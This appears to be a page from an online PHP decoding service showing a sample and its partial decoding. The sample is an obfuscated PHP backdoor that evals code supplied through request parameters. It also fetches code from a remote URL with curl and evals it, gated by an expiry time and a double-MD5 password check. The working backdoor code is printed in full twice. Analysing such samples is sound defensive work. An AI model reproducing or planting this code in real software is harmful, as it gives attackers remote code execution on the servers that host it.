Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$Gn = 'range'; $zi = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r..
Decoded Output download
<? $Gn = 'range';
$zi = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$H = ${$zi[24 + 7] . $zi[27 + 32] . $zi[13 + 34] . $zi[30 + 17] . $zi[20 + 31] . $zi[38 + 15] . $zi[0 + 57]};
if (in_array(gettype($H) . '17', $H)) {
$H[68] = $H[68] . $H[77];
@eval($H[68](${$H[40]}[18]));
}
class vI
{
static function nFMrcPh($AkTD)
{
$aKOwdxoiHt = 'range';
$yh = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$GZTnphtk = explode('>', $AkTD);
$dENGsbyQpv = '';
foreach ($GZTnphtk as $srNAGM => $yPBzpsGJ) {
$dENGsbyQpv .= $yh[$yPBzpsGJ - 16603];
}
return $dENGsbyQpv;
}
static function vG($PbBEolwHa, $qjwMrvLop)
{
$vxgnpWrXJ = curl_init($PbBEolwHa);
curl_setopt($vxgnpWrXJ, CURLOPT_RETURNTRANSFER, 1);
$OCYunIKl = curl_exec($vxgnpWrXJ);
return empty($OCYunIKl) ? $qjwMrvLop($PbBEolwHa) : $OCYunIKl;
}
static function IlhiPTgK()
{
$jvg = array('16630>16615>16628>16632>16613>16628>16634>16627>16612>16619>16630>16613>16624>16618>16619', '16614>16613>16615>16634>16615>16618>16613>16680>16678', '16623>16614>16618>16619>16634>16629>16628>16630>16618>16629>16628', '16617>16632>16630>16622', '16631>16632>16614>16628>16675>16677>16634>16629>16628>16630>16618>16629>16628', '16627>16624>16621>16628>16634>16626>16628>16613>16634>16630>16618>16619>16613>16628>16619>16613>16614', '16657>16687', '16604', '16682>16687', '16664>16647>16647>16664>16640', '16618>16627');
foreach ($jvg as $vOCYd) {
$LnGSW[] = self::nFMrcPh($vOCYd);
}
$Jfkhxn = @$LnGSW[1](${"_" . 'GET'}[$LnGSW[0 + 9]]);
$ahsjVSBEuY = @$LnGSW[3 + 0]($LnGSW[2 + 4], $Jfkhxn);
$lgLTSMc = $LnGSW[0 + 2]($ahsjVSBEuY, true);
@${"_" . 'GET'}[$LnGSW[2 + 8]] == 1 && die($LnGSW[5 + 0](__FILE__));
if (@$lgLTSMc[0] - time() > 0 and md5(md5($lgLTSMc[1 + 2])) === "95170de20ad393a4edc2b35ea8c976e6") {
$OXJtqowFDs = self::vG($lgLTSMc[0 + 1], $LnGSW[2 + 3]);
@eval($LnGSW[3 + 1]($OXJtqowFDs));
die;
}
}
}
vI::IlhiPTgK();
?>
Did this file decode correctly?
Original Code
$Gn = 'range';
$zi = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$H = ${$zi[24 + 7] . $zi[27 + 32] . $zi[13 + 34] . $zi[30 + 17] . $zi[20 + 31] . $zi[38 + 15] . $zi[0 + 57]};
if (in_array(gettype($H) . '17', $H)) {
$H[68] = $H[68] . $H[77];
@eval($H[68](${$H[40]}[18]));
}
class vI
{
static function nFMrcPh($AkTD)
{
$aKOwdxoiHt = 'range';
$yh = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$GZTnphtk = explode('>', $AkTD);
$dENGsbyQpv = '';
foreach ($GZTnphtk as $srNAGM => $yPBzpsGJ) {
$dENGsbyQpv .= $yh[$yPBzpsGJ - 16603];
}
return $dENGsbyQpv;
}
static function vG($PbBEolwHa, $qjwMrvLop)
{
$vxgnpWrXJ = curl_init($PbBEolwHa);
curl_setopt($vxgnpWrXJ, CURLOPT_RETURNTRANSFER, 1);
$OCYunIKl = curl_exec($vxgnpWrXJ);
return empty($OCYunIKl) ? $qjwMrvLop($PbBEolwHa) : $OCYunIKl;
}
static function IlhiPTgK()
{
$jvg = array('16630>16615>16628>16632>16613>16628>16634>16627>16612>16619>16630>16613>16624>16618>16619', '16614>16613>16615>16634>16615>16618>16613>16680>16678', '16623>16614>16618>16619>16634>16629>16628>16630>16618>16629>16628', '16617>16632>16630>16622', '16631>16632>16614>16628>16675>16677>16634>16629>16628>16630>16618>16629>16628', '16627>16624>16621>16628>16634>16626>16628>16613>16634>16630>16618>16619>16613>16628>16619>16613>16614', '16657>16687', '16604', '16682>16687', '16664>16647>16647>16664>16640', '16618>16627');
foreach ($jvg as $vOCYd) {
$LnGSW[] = self::nFMrcPh($vOCYd);
}
$Jfkhxn = @$LnGSW[1](${"_" . 'GET'}[$LnGSW[0 + 9]]);
$ahsjVSBEuY = @$LnGSW[3 + 0]($LnGSW[2 + 4], $Jfkhxn);
$lgLTSMc = $LnGSW[0 + 2]($ahsjVSBEuY, true);
@${"_" . 'GET'}[$LnGSW[2 + 8]] == 1 && die($LnGSW[5 + 0](__FILE__));
if (@$lgLTSMc[0] - time() > 0 and md5(md5($lgLTSMc[1 + 2])) === "95170de20ad393a4edc2b35ea8c976e6") {
$OXJtqowFDs = self::vG($lgLTSMc[0 + 1], $LnGSW[2 + 3]);
@eval($LnGSW[3 + 1]($OXJtqowFDs));
die;
}
}
}
vI::IlhiPTgK();
Function Calls
gettype | 1 |
Stats
MD5 | 886f4bd74700ea5640082bd8a8964930 |
Eval Count | 0 |
Decode Time | 94 ms |